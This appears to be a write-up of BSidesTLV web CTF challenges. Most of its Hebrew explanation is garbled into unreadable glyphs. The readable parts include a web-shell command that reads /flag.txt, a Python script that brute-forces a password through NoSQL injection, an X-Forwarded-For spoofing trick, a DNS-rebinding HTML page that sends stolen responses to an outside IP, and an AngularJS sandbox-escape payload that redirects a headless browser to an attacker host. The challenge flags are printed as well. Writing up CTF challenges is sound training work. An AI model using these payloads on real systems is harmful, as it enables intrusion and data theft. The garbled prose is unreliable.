http://two.challenges.bsidestlv.com:8080/cache/eaa700668ae5.php?cmd=cat%20/flag.txt 

ˢ ˸˞ ˪˟˵ˮˣ-flag: 

BSidesTLV{K33pY0urM4il3rFullyP4tch3D!}  
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NoSocket (Web) 

Description: 

The flag is the password for "admin" user do you think you can get it? :) 

http://two.challenges.bsidestlv.com:8030/login 

Made by Nimrod Levy 

˭ˣ˶˸˲ 

 ˢ˞˶ˮ ˶˸˞˪ ˯ˮ˩ˮ ˶˷˞˩:˸ˣ˶˟˥˸ˢ ˯˲ˣ˦ 

 

 ˪˰ ˢ˴˧˥˪˟˷ ˢ˞˶ˮ ,˶ˣ˵ˬˢ ˡˣ˵ ˪˰ ˶˟˰ˬ˟login:ˢ˞˟ˢ ˢ˧˴˵ˮˣ˲ˢ ˸˰˴˟˸ˬ , 

var  ws;  

var  url = 'ws://'  + location . hostname + ':8000/login' ;  

 

function  openSocket ()  {  

    ws = new WebSocket ( url );  

    ws. binaryType = 'arraybuffer' ;  // default is 'blob'  

 

 

    ws. onopen = function ()  {  

        console . log ( 'open' );  

    };  

 

    ws. onclose = function ()  {  

        console . log ( 'close' );  

    };  

 

    ws. onmessage = function ( e)  {  

        if  ( e. data instanceof  ArrayBuffer )  {  

            log ( decodeCharCode ( new Uint8Array ( e. data )));  

        }  else  {  

            log ( e. data );  

        }  

    };  

 

    ws. onerror = function ()  {  

        log ( 'error' );  

        closeSocket ();  

http://two.challenges.bsidestlv.com:8030/login
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    };  

}  

 

function  closeSocket ()  {  

    log ( 'closing' );  

    ws. close ();  

}  

 

function  login ()  {  

    var  data = {};  // < -  initialize an object, not an array  

    data [ "username" ]  = document . getElementById ( 'username' ). value ;  

    data [ "password" ]  = document . getElementById ( 'password' ). value ;  

    val = JSON. stringify ( data );  // {"username":"admin", "password": 

"admin"}  

    // {"$where": "this.username == '" + username + "' && this.password 

== '" + password + "'"}  

    ws. send ( val );  

}  

 

 

function  decodeCharCode ( data )  {  

    var  res = '' ;  

    for  ( var  i = 0,  len = data . length ;  i < len ;  i ++)  {  

        var  value = data [ i ];  

        res += String . fromCharCode ( value );  

    }  

 

    return  res ;  

}  

 

function  log ( message )  {  

    alert ( message )  

}  

 

openSocket ()  

 ˸˥˸ˣ˲ ˢ˧˴˵ˮˣ˲ˢWebSocket ˟-ws://two.challenges.bsidestlv.com:8000/login  ˧˦˶˲ ˸˞ ˸˥˪ˣ˷ˣ

 ˦ˬ˶ˣ˲˟ ˸ˣ˶˟˥˸ˢˢjson. 

 ˫ˠ ˫˧˪˟˵ˬ ˣˮ˞:˸˶˷ˢ ˡ˴˟ ˸˰˴˟˸ˬ˷ ˢ˸˪˧˞˷ˢˬ ˵˪˥ ˸˞ ˢ˶˰ˢ˟ 

{ "$where" :  "this.username == '"  + username + "' && this.password == '"  + 

password + "'" }  

˪ ˢˬˣˡˢ ˢ˲˵˸ˬ˪ ˱ˣ˷˥ ˢˤ ˡˣ˵-SQL-Injection  ˸˞˶˵ˮˢNoSQL-Injection.  ˳˪˥ˬˢ ˭ˣ˸˧˧˲ ˡˣ˵ ˟ˣ˸˩ˮ

 ˸˶˷ˢ ˪˷ ˢ˟ˣ˷˸ˢ ˸ˣ˰˴ˬ˞˟ ˢˬ˯˧˯ˢ ˸˞- ˪ ˫˞ ˶ˤ˥ˣˬ ˞"Failed" ˞˧ˢ ˸˶˥˞ ,˥˧˪˴˸ ˸ˣ˶˟˥˸ˢˢ ,

 .˪˷˩˧˸ 
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ˣ˸ ˳˪˥˪ ˸ˮˬ ˪˰ ˣˤ ˢˡ˟ˣ˰˟ ˷ˬ˸˷ˮ-ˢˬ˯˧˯ˢˬ ˣ˸: 

import  websocket  

import  string  

 

ws = websocket . WebSocket ( subprotocols =[ "binary" ])  

ws. connect ( "ws://two.challenges.bsidestlv.com:8000/login" )  

problem = [ ' \ '' , '"' , ' \ \ ' , '(' , ')' , '*' , '+' , ' ' , ' \ t' ]  

password = ""  

while  True :  

    print ( "Password: {}" . format ( password ))  

    for  c in  map( chr , range ( 0x21 , 0x7F )):  

        if  c in  problem :  

            continue  

        data = ( """{"username": "admin", "password": "'; return 

this.password <= '""" +password +c+" \ "}" )  

        print ( data )  

        ws. send ( data )  

        resp = ws. recv (). decode ()  

        if ( "Failed"  not  in  resp ):  

            print ( resp )  

            password +=chr ( ord ( c) - 1)  

            break  

    if  password [ - 1]  == "}" :  

        break  

print ( "Password: {}" . format ( password ))  

ˢ ˸˞ ˪˟˵ˮ ,˦˲˧˶˵˯ˢ ˪˷ ˢ˶˴˵ ˢ˴˶ˢ ˶˥˞˪-flag: 

BSidesTLV{0r0n3Equ4l0n3!}  
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IAmBrute (Web) 

Description: 

I just forgot my wallet password... can you remind me? By the way, our IT manager stores 

sensitive information... can you get the flag from his account? 

Made by Nimrod Levy and Tomer Zait 

˭ˣ˶˸˲ 

˶˥˞˪ ˸ˣ˪˩˸˯ˢ ˸˧ˮˣ˷˞˶ ˪˰ ˫˧˴˟˵ˢ ˣˮ˥ˮ˞ ˫˧ˢˤˬ ˸ˬˣ˧˯ ˸˶ˤˣ˥ ˪˷ ˧˴˟˵ "opvault." ˢ˵˧ˡ˟ ˢ˶˧ˢˬ 

˪ˠˣˠ˟ ˢ˞˶ˬ ˣˮ˪ ˧˩ ˶˟ˣˡˬ ˫˧˴˟˵˟ ˪˷ ˢˮ˩ˣ˸ˢ Password1. ˰"˧ ˢˮ˧˰˦ ˪˷ ˫˧˴˟˵ˢ ˸ˣ˰˴ˬ˞˟ ˢˮ˩ˣ˸ˢ 

˷˵˟˸ˮ ˸ˣˢˡˤˢ˪ ˢˬ˯˧˯˟ ˸˧˷˞˶ˢ ˪˷ ˶ˠ˞ˬˢ. 

˧˸˷ ˫˧˩˶ˡ ˸ˣ˧˶˷˲˞ ˭ˣ˶˸˲˪ ˶ˠ˸˞ˢ ˭s: 

1. ˯˯˟˸ˢ˪ ˪˰ ˨˩ ˶˴ˣ˧˷ ˢˬ˯˧˯ˢ ˞˪ ˧˸˶˧˴˧ - ˢˬ˯˧˯ˢ ˞˧ˢ ,˳˟ˣ˵ˢ ˫˷ Marina 

2. ˳ˣ˶˲˪ ˸˞ ˢˬ˯˧˯ˢ ˰"˧ ˳ˣ˪˧˥ ˫˧˶˦ˬ˶˲ˢ )hash:salt:iterations:data( 

ˡ˵ˬ˸ˮ ˢ˦˧˷˟ ˢ˧˧ˮ˷ˢ ˸ˮ˧˧ˮ˰ˬˢˣ ˶˸ˣ˧: ˢ˲˧˪˷ ˪˷ ˸˰˟˶˞ ˫˧˶˦ˬ˶˲ˢ ˫˧ˮ˧˧ˮ˰ˬˢ ˨ˣ˸ˬ ˳˟ˣ˵ˢ 

profile.js. ˣˬ˩ ˶ˠ˸˞˟ IH8emacs ˷ˬ˸˷ˮ ˴˧˲˟'˶ ˪˷ ɣ'˭x ˧ˡ˩ ˶˴˧˧˪ ˷˞ˢ ˫˧˞˸ˬ ˵ˣ˶ˤˮˣ ˣ˸ˣ˞ ˳˟ˣ˵˪: 

 

ˢ˲ˬ ˳˧˶ˮ ˸˞ ɣ'˭x ˫˰ ˭ˣ˪˧ˬˢ rockyou ˪˟˵ˮˣ ˸˞ ˢˬ˯˧˯ˢ Marina. ˵˧˪ˡˮ ˸ˮˣ˩ˬ ˯ˣˡˮ˧ˣˣ ˪˰ ˸ˮˬ ˪˧˰˲ˢ˪ 

˸˞ password1. ˞˟˧˧ˮ ˸˞ ˫˧˴˟˵ˢ ˯˧ˮ˩ˮˣ ˸˞ ˢˬ˯˧˯ˢ ˸˧˷˞˶ˢ ˣˮ˪˷: 

 

ˣˠˮ˧˟ !˷˧ ˣˮ˪ ˫˷ ˷ˬ˸˷ˬ ,ˢˬ˯˧˯, ˸˞ˣ ˡ˰˧ˢ ˞˟ˢ ˣˮ˪˷:  

http://challenges.bsidestlv.com:8084/index.php 

http://challenges.bsidestlv.com:8084/index.php
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˯ˮ˩ˮ ˶˸˞˪ ˶˟˥˸ˮˣ ˫˰ ˫˧˦˶˲ˢ: 

 

˸˴˲ˣ˵ ˣˮ˪ ˢ˶˰ˢ ˸˶ˬˣ˞ˢ ˷˧˷ ˢ˷˧ˠ ˶˸˞˪ ˵˶ ˨ˣ˸ˬ ˸ˣ˟ˣ˸˩ IP ˸ˣ˧ˬ˧ˮ˲: 

 

˪˰ ˸ˮˬ ˱ˣ˵˰˪ ˸˞ ˢˬ˧˯˥ˢ ,˱˧˯ˣˮ ˸˷˵˟˪ s-HTTP s-Header ˱˯ˣˮ" :x-forwarded-for."  Headerˢˤ 

˰˧˶˸ˬ ˸˶˷˪ ˢˤ˧˞ˬ ˧˲˧˧˞ ˢ˞˴˧ ˢ˷˵˟ˢ ˸˧˶ˣ˵ˬˢ ˫˞ ˣˮ˥ˮ˞ ˫˧˷ˬ˸˷ˬ ˧˯˵ˣ˶˲˟. ˫˧˪˧ˬ˟ ˸ˣ˶˥˞ ,"˧˰ 

˸˲˯ˣˢ ˶ˡ˞ˢˢ x-forwarded-for :192.168.20.1 ˫ˣ˶ˠˮ ˸˶˷˪ ˭˧ˬ˞ˢ˪ ˧˩ ˢ˷˵˟ˢ ˢ˰˧ˠˢ ˢˬ-IP ˶˞ˣ˸ˬˢ 

˞˪ˣ ˣˮ˸˧˞ˬ. 

˯ˮ˩ˮ ˶˸˞˪ ˪˧˥˸ˮˣ ˷˲˥˪ ˰ˡ˧ˬ ˪˰ ˡ˟ˣ˰ s-IT ˶˷˞ ˞˧˟˥ˬ ˸˞ ˪ˠˡˢ: 
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˫˧˶˟ˡˢ ˣˮ˞˴ˬ˷ ˫ˢ ˣˬ˷ ˧˦˶˲ˢ ,George ,˶˷˞ ˷ˬ˷ˬ ˫ˠ ˫˷˩ ˷ˬ˸˷ˬˢ ˶˸˞˪ ˢˬˣˡ˟ ˢˮ˧˶ˬ˪ ,

˭ˣ˟˷˥ ˵ˣ˟˯˧˧˲ ˫˰ ˸ˮ˷ ˢˡ˧˪ ˸˶ˡ˯ˣ ˢ˧ˤ˧ˣˣ˪˦ ˞ˣˢ˷ ˟ˢˣ˞ ˡ˥ˣ˧ˬ˟ - friends )˧ˬˣ ˞˪ ˟ˢˣ˞ ,ˣˮ˧ˮ˧˟?.( 
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ˢ˯ˮˮ ˠ˧˷ˢ˪ ˸˞ ˢˬ˯˧˯ˢ ˣ˪˷ ˸ˣ˰˴ˬ˞˟ ˱ˡˢ ˪˷ "˧˸˥˩˷ ˢˬ˯˧˯": 

 

˶˯˥ ˣˮ˪ ˨˧˶˞˸ ˢˡ˧˪ˢ ˪˷ ɣ'ˠ˶ˣ '˪˟˞ ˣˮ˥ˮ˞ ˫˧˰ˡˣ˧ ˸˞ ˢˮ˷ˢ .˭˩˪ ˨ˣ˸ ˫ˣˬ˧˯˵ˬ 365 ˸ˣˮˣ˧˯ˮ ˭˸˧ˮ˷ 

˰˴˟˪ ˸ˣ˰˴ˬ˞˟ ˦˲˧˶˵˯ ˦ˣ˷˲ ˪˟˵ˮ ˸˞ ˨˧˶˞˸ sˢˡ˧˪ ˭ˣ˩ˮˢ ,07/11/1991 ˣ˸˧˞ˣ ˸˞ ˢˬ˯˧˯ˢ: 

 

˯ˮ˩ˮ ˭ˣ˟˷˥˪ ˪˷ ɣ'ˠ˶ˣ': 

 

˪ˠˡˢ ˣˮ˧ˡ˧˟! 

BSidesTLV{Brut3Th3W0rld!}  
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PimpMyRide (Web) 

Description: 

haD ƛ ƘŀǾŜ tƛƳǇaȅwƛŘŜΩǎ ŎƭƛŜƴǘ ŀǇǇΗ LΩƳ ŎƻƴƴŜŎǘƛƴƎ ǿƛǘƘΥ ƧŀǾŀ -jar garage.jar --host one. 

challenges.bsidestlv.com Please hack their server and read the file /flag.txt. 

Made by Gal Goldstein 

˭ˣ˶˸˲ 

 ˳˟ˣ˵ ˣˮ˪˟˧˵Jar ˶ˣˬ˷˪ ,˳˟ˣ˵ˬ ˭˯˥ˬ ˭ˣ˰˦˪ ˣˮ˪ ˶˷˲˞ˬˣ ˵˥ˣ˶ˬ ˸˶˷˪ ˶˟˥˸ˬˢ ˥ˣ˵˪˩ ˡ˵˲˸ˬ ˶˷˞ 

.'ˣ˩ˣ ˸ˣ˧ˮˣ˩ˬ ˱˧˯ˣˢ˪ ,˭˯˥ˬ .˟˷˥ˬ˟ ˧˪˞˵ˣ˪ ˳˟ˣ˵ ˣˮ˪ ˶ˬ˷ˮ ˸ˣ˧ˮˣ˩ˬ ˭˯˥ˬ ˪˷ ˢ˶˧ˬ˷ ˪˩ ˶˥˞˪  ˭˧˟ˢ˪ ˧ˡ˩

 ˫˧˰˪˵ˢ ˧˶ˣ˥˞ˬ ˢ˶ˣ˵ ˢˬ˪˟˵ˮˣ ˫˧˧˦ˮ˶˦ˮ˧˞ˢ ˫˧˪˩ˢ ˡ˥˞ ˸ˣ˰˴ˬ˞˟ ˢ˧˴˪˧˲ˬˣ˵˧ˡ ˣ˪ ˢ˷˰ˮ  ˡˣ˵ ˸˞

.˶ˣ˵ˬˢ 

:˫˧˟ˣ˷˥ ˫˧˶˟ˡ ˢˬ˩˪ ˟˪ ˣˮˬ˷ ˡˣ˵ˢ ˪˷ ˢ˶˧ˢˬ ˢ˵˧˶˯ ˶˥˞˪ 

1. (!˧˞˧) ˸˶˷ˢ ˪˷ ˡˣ˵ˢ ˫ˠ ˣˮ˷˧ ˶ˣ˵ˬˢ ˡˣ˵˟ 

2. ˷ˣˬ˧˷ ˣ˟ ˢ˷˰ˮ ˞˪˷ ˡˣ˵ ˷˧ 

3.  ˸ˣ˰˴ˬ˞˟) ˵˥ˣ˶ˬ ˟˷˥ˬ˪ ˫˧ˠˣ˪ ˥˪˷˧ ˸˶˷ˢ˷ ˶ˣ˥˟˪ ˢ˧˴˲ˣ˞ ˷˧RemoteLogger( 

4. ˥˪ˣ˷ ˥ˣ˵˪ˢ˷ ˳˟ˣ˵ˢ ˨ˣ˸ˬ ˰˴˟˸ˬ ˸˶˷ˢ ˡ˴˟ ˥ˣ˵˪ˢˬ ˭˯˥ˬˢ ˦˵˧˧˟ˣ˞ ˪˷ ˢˮ˧˰˦ˢ 

:ˣˮ˧˸˟ˣ˦˪ ˸˞ˤ ˪˴ˮ˪ ˶˷˲˞ ˫˞ˢˣ ˸ˡ˟ˣ˰ ˫˧ˠˣ˪ˢ ˸˥˧˪˷ ˨˧˞ ˭˧˟ˮ ˢ˪˧˥˸ 

 

 ˶˦ˬ˶˲˟ ˫˧˷˪ ˥˧˪˴ˮˣ ˢˡ˧ˬ˟ ˡˣ˵ˢ ˧˲˪entry ˢ ˸˞-flag ˟x-ipAddress  ˸ˣ˯ˮ˪ ˪˩ˣˮ ,ˣˮ˪˷ ˧˲˧˧˞ˢ ˸˞

 .ˣˮ˧˪˞ ˪ˠˡˢ ˸˞ ˥˪˷˧˷ ˶ˠˣ˪ ˶ˣ˴˧˪ˢ˧˴˵ˮˣ˲ˢ ˸˞˶˵ˮ ˭˩˧ˢ ˢ˪ˠˮ ˸˞ˤ ˨˶ˣ˴˪: 

 

 ˢ˧˴˵ˮˣ˲˟ ˢ˶ˣ˵ ˢˤdowork  ˢ˵˪˥ˬˢ ˪˷Manager ˬ ˸˷˶ˣ˧˷-Employee.  ˣˢ˷ˬ ˣˬ˩ ˸ˣ˞˶˧ˢ˪ ˪˧˥˸ˬ

.˭˧˧ˮ˰ˬ 
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!ˢ˧˴˵ˮˣ˲ˢ ˸˞ ˳˧˶ˢ˪ ˨˶ˡ ˣˮ˞˴ˬ ,ˣˠˮ˧˟ 

 

.˦˧ˣ˪˲˯˵˞ˢ ˸˞ ˪˧˩˧˷ ˭˯˥ˬ ˳˟ˣ˵ ˸ˣˮ˟˪ ˶˞˷ˮ ˵˶ ˢ˲ˬ ˫˧˩˧˶˴ ˣˮ˥ˮ˞˷ ˸ˣ˵˪˥ˬˢ ˸˧˩˶˶˧ˢ ˸˞ ˢˮ˟ˮ: 

Garage:  

    Employee - >(Manager):  

        closeMessageFile  

        logger - >(RemoteLogger):  

            ipAddress  

  port  

    writeToLog(entry)  - > sending the flag  

˟ ˢ˦˧˪˷ˢ ˸˧˶ˣ˵ ˨˧˞ ˤ˞-entry?  ˰˴˟˸ˬ˷ ˰ˠ˶˟deserialize  ˸ˮ˰˦ˮ ˭˯˥ˬˢ ˪˷ ˢ˵˪˥ˬˢ ˞"ˤ ,˸˶˷˟

 ˫ˠ ˫ˢ˧ˮ˧˟ ,ˣˮ˸˦˧˪˷˟ ˧˶ˬˠ˪ ˫ˢ ˸ˣ˵˪˥ˬˢ ˪˷ ˸ˣˡ˷ˢ ,ˣˮ˥˪˷˷ ˳˟ˣ˵ˢˬentry. 

 

!˸˶˷˪ ˣ˸ˣ˞ ˢ˪˰ˮˣ ˫˧˞˸ˬ ˭˯˥ˬ ˣˮ˪ ˶˴ˣ˧˷ ˡˣ˵ ˟ˣ˸˩ˮ 
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˟ ˫˧˵˪˥ ˢ˰˟˶˞˪ ˵˪˥˸ˬ ˣˮ˪˷ ˡˣ˵ˢ-Main: 

1. ˸˶˧˴˧ ˭˯˥ˬ ˸˯ˮ˩ˢˣ ˰˟˶˞ ˸ˣ˧ˮˣ˩ˬ ˣ˩ˣ˸˪ )ˢˡˣ˟˰ˢ ˸˰˴˟˸ˬ ˵˶ ˷˧˷˩ 5 ˸ˣ˧ˮˣ˩ˬ - ˢ˧ˢ ˶˷˲˞ ˦ˣ˷˲ 

˭ˣ˰˦˪ 5 ˸ˣ˧ˮˣ˩ˬ ˪˟˞ ˣˮ˧˴˶ ˸ˣ˧ˢ˪ ˫˧˥ˣ˦˟.( 

2. ˸˲˯ˣˢ ˪ˢˮˬˢ ˧ˮˣˡˤˢ ˣˮ˪˷ ˭˯˥ˬ˪ )˫˰ s-RemoteLogger( 

3. ˸˶˧ˬ˷ ˭˯˥ˬˢ ˳˟ˣ˵˪ 

4. ˸˪˰˲ˢ ˸ˮ˩ˣ˸ ˥ˣ˵˪ˢ ˪˧ˠ˶˩ 

 

 

 

 

 

 

 

 

 

 ˫˧˞˸ˬ ˭˯˥ˬ ˳˟ˣ˵ ˣˮ˪ ˷˧- !˸˶˷˪ ˣ˸ˣ˞ ˸ˣ˪˰ˢ˪ˣ ˥ˣ˵˪ˢ ˸˞ ˳˧˶ˢ˪ ˶˞˷ˮ ˥˸˲ˮ ˸˶˷ ˭˧ˤ˞˧˷ ˣˮ˪˴˞, 

˸˶˷ˢˣ ˣ˸ˣˡˬ˥ˮ˟ ˥˸˲˧ ˸˞ ˳˟ˣ˵ˢ ˥˪˷˧ˣ ˣˮ˪ ˸˞ s-flag: 

 

BSidesTLV{I_Am_Inspector_Gadget}  
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Can you bypass the SOP? (Web) 

Description: 

Hi Agent! If you can see this challenge, you were probably chosen by our secret organization in 

order to catch the Illuminati members. Our intelligence analysts team conducted some research 

about criminals that operate inside the illuminati team and have the following information: 

1. The Illuminati team will NEVER open external files 

2. The Illuminati team is arrogant and will never change default passwords 

By the way, one of our agents has infiltrated to the Illuminati group! as a result, we can produce a 

possibility that one member of the Illuminati team will open a link that will send from our agent. 

So according to these facts, your mission is to take over the internal application controlled by 

Illuminati team to get the flag! The internal application located on:  

http://192.168.20.100:8080/login 

BOT URL: http://two.challenges.bsidestlv.com:8133/index.html 

Rules: 

1. The bot will stay on your page for 3 minutes. 

2. your page must return status code: 200 

Yours, 

N 

Made by Nimrod Levy 

˭ˣ˶˸˲ 

 ˨˷ˬ˪ ˣ˟ ˶˞˷˧˧ ˞ˣˢ˷ ˣˮ˪ ˰ˣˡ˧ˣ ˶˟˥˸ˬ ˦ˣ˟ˢ ˣ˧˪˞ ˶˸˞˟ ˫˧˦˪ˣ˷ ˣˮ˞3 .˸ˣ˵ˡ  ˸˲˵˸ˬ˟ ˷ˬ˸˷ˮDNS 

Rebinding ˨˩ ˸ˡ˟ˣ˰ˢ:  

1 .˱˵˸ˣˬˢ ˶˟˥˸ˬ ˸˶˷˪ ˣˮ˪˷ ,˞ˬˠˣˡ˪ ˱ˡ˪ http://example.com:8133/index.html. ʕ"˞ ,˸˶˷ˢ 

˥˪ˣ˷ ˸˸˪˧˞˷ DNS ˧˟ˠ˪ ˸˟ˣ˸˩ˢ example.com ˫ˠ˶˸ˬˣ ˢ˸ˣ˞ ˸˟ˣ˸˩˪ IP ˣˮ˪˷. 

2 .˸˰˩ ˞ˣˢ˷˩ ˱ˡ˟ ,˪˰˲ˣ˧ ˦˲˧˶˵˯ Javascript ˭˧˸ˬˬˢ ˢ˵ˡ˩ ˧˴˥ˣ ,˷ˠ˧ˮ ˪: 

 http://example.com:8133/login 

˥˪ˣ˷ˣ ˸˞ ˸˟ˣˠ˸ ˢ˷˵˟ˢ ˣˮ˧˪˞ ˨˶ˡ s-src ˪˷ ˠ˸ img. ˨ˣ˸ ˧ˡ˩ ,ˣˮ˞ ˫˧˲˧˪˥ˬ ˸˞ example.com ˨˩ 

˫ˣ˵ˬ˟˷ ˰˧˟˴ˢ˪ ˪-IP ˣˮ˪˷ ˞ˣˢ ˰˧˟˴˧ ˪-127.0.0.1. 

3 .ˣˮ˞ ˪˟˵ˮ ˸˞ ˭˩ˣ˸ ˱ˡˢ ˸˶˷˟ ˧ˮ˷ˢ ˣˮ˪˷ ˨˶ˡ ˢ˲˪ˡˢˢ ˸˧ˠ˸ˬ s-img. ˢ˟˧˯ˢ ˢˤ˷ ˡ˟˰ ˞˧ˢ ˷-

Same Origin Policy ˶˷˲˞ˬ ˳ˣ˪˧˥ ˭˩ˣ˸ ˸ˣ˷˵˟ ˡˣ˵˟ Javascript ˫˞ ˫˧˦˶˲ˢ ˫˧˞˟ˢ ˫˧ˬ˧˞˸ˬ :

protocol:domain:port .˭˟ˣˬ˩ ˫ˢ˷ ˫˧ˬ˧˞˸ˬ ˢˬˠˣˡ˟ ˣˮ˪˷ ,˸ˣ˶ˬ˪ ˸˟ˣ˸˩˷ s-IP ˢˮ˸˷ˬ ˧˶˥˞ ˢ˵ˡ 

˧˴˥ˣ ,-sDomain ˞ˣˢ ˭˧˧ˡ˰ example.com. 

ˢˤ s-POC .˵ˬˣ˰˪ ˶˸ˣ˧ ˢ˲˵˸ˬˢ ˸˞ ˶˧˟˯ˬ ˱ˡˢ ,ˣ˟ ˧˸˷ˬ˸˷ˢ˷ ˢ ˱ˡ-html  ˦ˣ˟˪ ˧˸˷ˠˢ˷ ˭ˣ˷˞˶ˢ

 ˸˷˵˟ ˪˧˩ˢGET  ˱ˡ˪login ˫ˢ ˸ˣ˶˟˥˸ˢˢ ˧˦˶˲˷ ˣˮ˪˟˧˵ ,ˢ˟ˣ˷˸˟ .admin/admin. 

http://two.challenges.bsidestlv.com:8133/index.html
http://example.com:8133/index.html
http://example.com:8133/login
https://github.com/mpgn/ByP-SOP
https://github.com/mpgn/ByP-SOP
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 ˸˷˵˟ ˪˧˩ˢ ˦ˣ˟˪ ˧˸˷ˠˢ˷ ˧ˮ˷ˢ ˱ˡˢPOST  ˱ˡ˪login: 

<html>  

<head>  

    <! --  https://github.com/mpgn/ByP - SOP -- > 

</head>  

<body>  

<h2>Bypass Some Origin Policy clean script </h2>  

<p>Pretty things that makes your victim stays for few minutes... </p>  

<script  

src ="https://cdnjs.cloudflare.com/ajax/libs/jquery/2.2.1/jquery.min.js" >

</script>  

<script  type ="text/javascript" > 

setTimeout ( function  SOP_bypass ()  {  

    console.log ( "send request..." )  

    $. post ( '/login' ,  

        {  

        username :  "admin" ,  

        password :  "admin" ,  

        submit :  ""  

        }  

        , function ( data )  {  

            var  image = new Image ();  

            image.src ='http://77.125.50.224:8080/exfil.php?' +btoa ( data );  

        });  

},  90000 );  //1.5min  

</script>  

</body>  

</html>  

ˢ ˸˞ ˥ˮ˰˲ˮ ˶˷˞˩ˣ-base64 ˢ ˸˞ ˪˟˵ˮ ,ˣˮ˪˟˧˵˷-flag :ˢ˟ˣ˷˸ˢˬ ˵˪˥˩ 

BSidesTLV{C4nY0uR3b1n3dMe?} 
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Gaming Store (Web) 

Description: 

I need your help, Evil attackers are scraping my website and stealing my customers. Please make 

them pay for their crimes and hack them. I have heard they use a special headless browser to get 

the information they need. Take this editor account and do whatever you can to make them 

suffer! 

Username: bsidestlv 

Password: 3d1t0r 

URL: http://two.challenges.bsidestlv.com:3000 

Made by Tomer Zait 

˭ˣ˶˸˲ 

:˫˧˵˥˷ˬ ˪˷ ˶ˣ˞˧˸ ˨ˣ˶˰˪ ˣˮ˪ ˶˷˲˞ˬˢ ˶˸˞˟ ˷ˬ˸˷ˬ ˣˮ˪˟˧˵ 

 

 ˢ˷ˣ˰ ˣˢ˷˧ˬ˷ ˣˮ˪ ˶ˬ˞ˮ ,˱˯ˣˮ˟scraping .˫˸ˣ˞ ˱˧˵˸ˢ˪ ˞˧ˢ ˣˮ˪˷ ˢ˶˦ˬˢˣ ˣˢ˷˪˩ ˦ˣ˟ ˫˰ ˶˸˞˪  ˶˟ˡˢ

 ˸˲˵˸ˬ ˞ˣˢ ˷˞˶˪ ˧˪ ˢ˪˰˷ ˭ˣ˷˞˶ˢXSS ˸˲˵˸ˬ ˪˧˟˷˟ ˨˞ .XSS  ">" ˫˧ˣˣ˸ˢ ˸˞ ˶˧ˡ˥ˢ˪ ˥˧˪˴ˢ˪ ˨˧˶˴

ˣ- ˸ˣ˦˧˷ ˫˰ ˧ˣ˯˧ˮ ˪˷ ˸ˣ˟˶ ˸ˣ˰˷ ˶˥˞˪ ."<"encoding  ˢ˧˰˦ ˶˵˧˰˟ˣ ˸ˣˮˣ˷- ˫˧ˣˣ˸˪ ˫ˣ˶ˠ˪ ˧˸˥˪˴ˢ ˞˪ 

˪ ˣ˶ˬˣˢ ˫ˢ˷ ˭ˣˣ˧˩ˬ ,˰˧˲ˣˢ˪ ˢ˪˞ˢ-"&lt;"ˣ "&gt; ˫ˢ˪ ˢ˷˰ ˸˶˷ˢ˷ ˸˶ˬˣ˞ ˸˞ˤ ."escaping ˞˪ˣ ˫˧˞˸ˬ 

˸ˣ˧ˠ˸ ˥ˣ˸˲˪ ˧ˡ˩ ˣ˪˞ˢ ˫˧ˣˣ˸˟ ˷ˬ˸˷ˢ˪ ˭˸˧ˮ. 

 ˫˧˶ˤˣˬ ˫˧˶˟ˡ ˧ˮ˷˪ ˟˪ ˧˸ˬ˷ˣ ,˵ˬˣ˰˪ ˶˸ˣ˧ ˱ˡˢ ˪˷ ˶ˣ˵ˬˢ ˡˣ˵ ˪˰ ˧˸˪˩˸˯ˢ ,˭˩ˬ ˶˥˞˪-  ˷ˬ˸˷ˬ ˱ˡˢ

-˟angular.jsˢˣ ,-body  ˫˷˟ ˸˧ˠ˸ ˪˧˩ˬng-app: 

 

http://two.challenges.bsidestlv.com:3000/
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 ˪˷ ˷ˣ˲˧˥ˬng-app:˷ˣˬ˧˷ ˸ˬˠˣˡ ˢ˞˶ˬˢ ˞˟ˢ ˱ˡ˪ ˧˸˰ˠˢ , 

 

:ˢ˞˟ˢ ˢ˞˴ˣ˸ˢ ˸˞ ˪˟˵ˮ ,˵˥˷ˬˢ ˪˷ ˶ˣ˞˧˸ˢ ˶ˣ˸˟ ˦˪˵ˢ ˣ˸ˣ˞ ˸˞ ˢ˯ˮˮ ˫˞ 

 

 ˡˣ˵ ˣˮ˴˶ˢJavascript!  ˪˷ ˸ˣˮ˷˧ ˸ˣ˞˯˶ˠ˟ ˢ˷˪ˣ˥ ˸ˬ˧˧˵˷ ˶˶˟˸ˬangular ˢˬ "ˢ˥˧˶˟" ˸ˣ˶˷˲˞ˬˢ-

sandbox  ˡˣ˵ ˸˴˶ˢˣJavascript !ˣˮˮˣ˴˶˩ 

LiveOverflow  ˫˧ˮˣ˦˶˯ˢ ˸˶ˡ˯˟ ˧ˮˬˬ ˟ˣ˦ ˶˸ˣ˧ ˢˤ ˪˰ ˶˧˟˯ˬ˸˞ˤˢ.  ,˵˧˲˯ˬ ˢˮ˷˧ ˢ˯˶ˠˢ˷ ˭ˣˣ˧˩ˬ

˟ ˷ˬ˸˷ˢ˪ ˶˷˲˞-constructor.constructor .ˡˣ˵ ˪˩ ˳˧˶ˢ˪ ˧ˡ˩  ˣˮ˸˦˧˪˷˟ ˱ˡ˪ ˶ˣ˟˰˪ ˦ˣ˟˪ ˫ˣ˶ˠˮ-

:˞˟ˢ ˦˯˵˦ˢ ˸˞ ˵˥˷ˬˢ ˪˷ ˶ˣ˞˧˸˟ ˟ˣ˸˩ˮ 

{{c onstructor.constructor("window.location='http://IP:8080/exp.html'")()}}  

 ˶˷˞˩IP ˢ˪˧˩ˬˢ ˸˶˷ˢˬ ˢ˷˵˟ ˪˟˵ˮˣ ,˫˧˞˸ˬˢ ˦˶ˣ˲˟ ˸˶˷ ˥˸˲ˮ .ˣˮ˪˷ ˸˟ˣ˸˩ˢ ˞˧ˢ User-Agent 

:˭˧˧ˮ˰ˬ 

User- Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 
(KHTML, like Gecko) Chrome/58.0.3029.110 Nightmare/2.10.0 Safari/537.36  

 

https://www.youtube.com/watch?v=67Yc8_Bszlk&list=PLhixgUqwRTjwJTIkNopKuGLk3Pm9Ri1sF
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" ˸ˤˣ˶˥ˬ˪ ˟˪ ˫˧˷ˮNightmare/2.10.0 "- :˞˟ˢ ˱ˡ˪ ˰˧ˠˮ ˪ˠˣˠ˟ ˶˴˵ ˷ˣ˲˧˥ ˶˥˞˪ 

 

